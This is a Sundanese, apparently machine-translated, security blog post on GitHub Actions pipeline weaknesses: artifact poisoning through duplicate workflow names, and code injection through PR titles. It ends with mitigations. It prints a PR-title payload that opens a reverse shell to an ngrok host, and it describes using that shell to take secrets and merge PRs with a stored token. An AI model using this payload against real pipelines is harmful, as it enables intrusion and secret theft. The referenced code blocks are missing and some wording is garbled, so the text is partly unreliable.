Dina postingan sateuacanna (tingali Karacunan Teu Langsung Pipeline Palaksanaan I-PPE jeung Diracun Pipeline APD Eksekusi , urang dasarna ngurus PPE (Poisoned Pipeline (Palaksanaan): urang ningali kumaha jalanna, pangaruhna, sababaraha éksploitasi ogé sababaraha cara pikeun ngajaga tina éta.
Tulisan ieu ngabahas hal-hal séjén sacara jero CI/CD pipeline karentanan sapertos Artefak Poisoning sareng Code Injection.
Pikeun ngalakukeunana, urang bakal ngadadasarkeunana kana APD janten hayu urang jieun ringkesan ringkes ngeunaan naon anu urang tingali ngeunaan APD.
Padamelan sateuacanna ngeunaan APD
Singkatna, urang mimitian ku GitHub dasar pipeline pikeun ngawangun sareng nguji kode anu disumbangkeun ngalangkungan a pull requestSalian ti éta, éta ngahartikeun sababaraha cék anu, upami dicumponan, bakal ngahijikeun kode kana cabang utama. Kami nyebat ieu salaku Skenario #1.
Dina tulisan kami sateuacanna, kami parantos nunjukkeun kumaha dasar ieu pipeline ieu rentan ka D-PPE sareng I-PPE.
Kami hasil ngalereskeun D-PPE by ngarobih kajadian pemicu ti pull_request ka pull_request_target, nyiptakeun pipeline aman pikeun D-PPESalaku pangéling-ngéling, pipelines anu dipicu dina acara pull_request_target bakal ngaéksekusi dasar pipeline kode, sanés pipeline kode anu aya dina pull request.
Kami ngaranan ieu salaku Skenario #2.
Salaku hasil tina modifikasi ieu, urang nunjukkeun yén Skenario #2 masih rentan ka I-PPE.
Pikeun ngalereskeunana, urang mutuskeun pikeun ngabagi pipeline jadi dua:
- Anu 1st pipeline (Ngawangun CI) bakal pariksa kode PR (pikeun ngawangunna), jieun wangunanana sareng hasilkeun artefak.
- Anu ka-2 pipeline (Tés CI) bakal pariksa kodeu Dasar (pikeun nyingkahan modifikasi skrip shell) sareng ngajalankeun skrip asli ngalawan artefak éta.
- Pikeun nyingkronkeun Test CI pipeline pikeun ngajalankeun SAANGGEUS CI Build pipeline, urang bakal ngagunakeun alur_jalan pemicu.
Kami ngaranan ieu salaku Skenario #3.
Hayu urang pulihkeun kode duanana pipelinenumutkeun modifikasi ieu…
1st pipeline (Ngawangun CI):
2nd pipeline (Tés CI):
Karacunan Artefak
Numutkeun di luhur CI/CD pipelines:
- pipeline Ngawangun CI is tengtrem ka duanana D-PPE (Alatan pull_request_target) jeung I-PPE (sabab éta henteu deui ngajalankeun skrip shell).
- pipeline Tés CI ogé tengtrem ka duanana D-PPE (Alatan alur_jalan) jeung I-PPE (sabab éta mariksa kode dasar pikeun kéngingkeun skrip shell asli)
Hayu urang bahas "solusi" ieu sacara jero.
Pipeline Tés CI ngaunduh artefak éta salaku file zip.
Sakali di-unzip, éta bakal ngajalankeun skrip shell "aman". Naha kuring nyebatkeun skrip shell "aman"? Kusabab dina léngkah sateuacana, pipeline mariksa kode "dasar", janten skrip aslina disimpen kana folder workspace. Ku alatan éta, nalika pipeline ngajalankeun skrip shell anu bakal dijalankeun nganggo binér anu parantos diunduh sateuacanna.
Lajeng, naon éta masalah ku cara kieu? Masalahna asalna nalika aya pangguna "nyieun" anu énggal pipeline.
Upami pangguna muka PR anu ngandung anu énggal pipeline, GitHub bakal ngalaksanakeun éta pipeline (dibéré sababaraha sarat, sapertos anu urang tingali dina tulisan sateuacanna kalungguhan).
Kumargi kitu, kumaha upami pangguna ngadamel anu énggal pipeline kalawan nami anu sami sareng Build CI? Muhun, éta téh matak héran, tapi GitHub ngamungkinkeun anjeun pikeun nyieun dua pipelines anu ngaranna sarua!!
Inget yén Test CI bakal dijalankeun saatos Build CI…
Héran, sabab ayeuna aya dua pipelines anu namina sami, pipeline Tés CI bakal dilaksanakeun dua kali: hiji saatos aslina pipeline jeung sajabana sanggeus "anyar" pipeline.
Kumaha hacker bisa ngamangpaatkeun ieu?
- Mimitina, pangguna jahat tiasa ngarobih skrip shell pikeun ngirim rahasia ka server anu dikontrol ku hacker.
- Kadua, anu anyar pipeline ngawengku hiji baris pikeun nyalin skrip cangkang anu dirobah kana artefak → ngaracuni artifakct!!!
Nalika pangguna muka PR kalayan parobihan ieu, "anyar" pipeline bakal dieksekusi (ngunggah artefak anu diracun) sareng Deploy CI pipeline bakal dilaksanakeun saatos éta, hasilna skrip cangkang "dirobih" nimpa skrip cangkang "asli" anu aya di pipeline rohangan gawé.
Ieu naon urang nelepon Karacunan Artefak, nyaéta kamampuan pikeun ngarobih (hack) pipeline logika ngaliwatan modifikasi pipeline artefak.
Hiji kamungkinan pangubaran lumayan lugas: ngan saukur muka ritsleting artefak kana subfolder rohangan kerja bakal nyingkahan nimpa skrip cangkang "dasar".
Suntikan kode
Salian ti karacunan artefak, naha anjeun tiasa ningali kerentanan sanés dina kode di luhur?
Hayu angkat!!
Sakumaha anjeun tiasa tingali dina kode éta, pipeline Build CI ngawangun binér, éta unggah binér salaku pipeline artefak sareng, sajaba ti éta, éta unggah sababaraha data tambahan: Judul PR sareng ID PR.
Naha? Kusabab pikeun ngahijikeun PR, sapertos anu anjeun tiasa tingali di handap, Tés CI pipeline peryogi id PR pikeun nimbulkeun GitHub REST API anu ngahijikeun PR.
Kumaha Tés CI pipeline kéngingkeun ID PR éta? Ngabagikeun inpormasi dina file téks (bagian tina pipeline artefak) nyaéta cara umum pikeun ngabagikeun inpormasi antara pipelines. Sareng éta persis naon anu ieu pipelineanu keur dilakukeun.
Sacara tegas, ngan ukur Id PR anu diperyogikeun pikeun ngahijikeun PR, tapi pipeline admin mutuskeun Build CI ogé pikeun ngalebetkeun judul PR janten Test CI pipeline bakal nyitak sababaraha pesen info anu ngandung ID PR sareng Judul.
Judul PR salawasna data anu asalna ti pangguna sareng, ku kituna, kedah salawasna dianggap teu tiasa dipercaya.. Janten na pipeline kedah nanganan sapertos kitu sareng ngalakukeun tindakan panyalindungan.
Dina kode di luhur, urang tiasa ningali pesen khusus anu ngagambarkeun Judul PR. Éta ngan ukur paréntah "echo" linux.
Ngaliwatan interpolasi string, upami judulna "judul dummy", Github ngahasilkeun skrip internal anu ngandung
Tapi, kumaha upami judul PR-na sapertos kieu:
Judul jahat” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Skripna bakal janten:
Hasilna muka cangkang tibalik ngalawan server anu dikontrol ku hacker.
Cangkang tibalik éta tiasa dianggo pikeun ngaksés pipeline rusiah (inget yén Tés CI dijalankeun dina modeu hak istimewa sabab dipicu ku workflow_run janten éta gaduh aksés ka rusiah).
Tapi, naon deui anu tiasa dilakukeun ngalangkungan cangkang tibalik éta?
Tingali kode Tés CI:
Sakumaha anjeun tiasa tingali dina Tés CI pipeline, paréntah curl merge ngagunakeun GITHUB_PAT (didefinisikeun salaku pipeline env var), janten runner ngandung GITHUB_PAT salaku variabel lingkungan. Leuwih ti éta, éta ogé nyiptakeun env var anu maca ID PR.
Janten hacker ngan ukur kedah nyalin paréntah curl teras nempelkeun kana cangkang sabalikna, ngahijikeun PR langsung kana cabang anu dilindungan.
Pikeun ngajaga ieu sadayana:
- ka avoider interpolasi string jeung data anu teu dipercaya (rentan ka injeksi kode) ku watesan pipeline lingkungan vars tinimbang ngagunakeunana langsung dina paréntah echo
Gantina nganggo:
Anggo ieu:
- Sanajan nganggo eksploitasi injeksi kode, paréntah curl merge moal suksés upami anjeun leres-leres ngajaga anjeun pull requests ngaliwatan sababaraha tinjauan wajib atanapi persetujuan.
conclusions
Entah kumaha héséna pikeun ngajaga CI/CD pipelinekonfigurasi s sareng kéngingkeun pipelinebébas tina kerentanan.
Ieu henteu hartosna éta CI/CD sistem (sapertos GitHub dina hal ieu) rentan. CI/CD sistem nyadiakeun sarana pikeun ngajaga tina karentanan ... tapi éta tanggung jawab admin pikeun nerapkeun panyalindungan éta.
Tapi ... Anjeun moal tiasa ngarengsekeun hiji karentanan kecuali anjeun sadar kana ayana éta!!!
Tangtosna admin devops anu mumpuni tiasa ngémutan sadaya ancaman ieu sareng ngajagaan kalayan leres CI/CD pipelines, tapi, sanaos kitu, éta penting pisan pikeun nganggo produk pikeun ngadeteksi sadaya jinis kerentanan ieu. Sareng tangtosna pikeun ngotomatisasi prosés panahan kerentanan ieu (contona, ngajalankeun scan salaku bagian tina CI/CD pipelines).
Pendekatan ieu tiasa disebut "Gerbang Kaamanan”:
- Jieun anyar pipeline (Gerbang Kaamanan) pikeun mariksa CI/CD pipelinekerentanan sareng ngadamel CI anu sanés pipelinengan ukur dilaksanakeun saatos Gerbang Kaamanan réngsé pipeline.
- Gerbang Kaamanan pipelines bakal mariksa CI/CD pipelinekerentanan sareng,
- Upami vuln kapanggih, éta bakal gagal sareng, ku kituna, anu sanésna pipelines moal dilaksanakeun.
- Upami teu aya vuln anu kapendak, pipeline bakal suksés sareng anu sanésna pipelines bakal dijalankeun sapertos biasana.
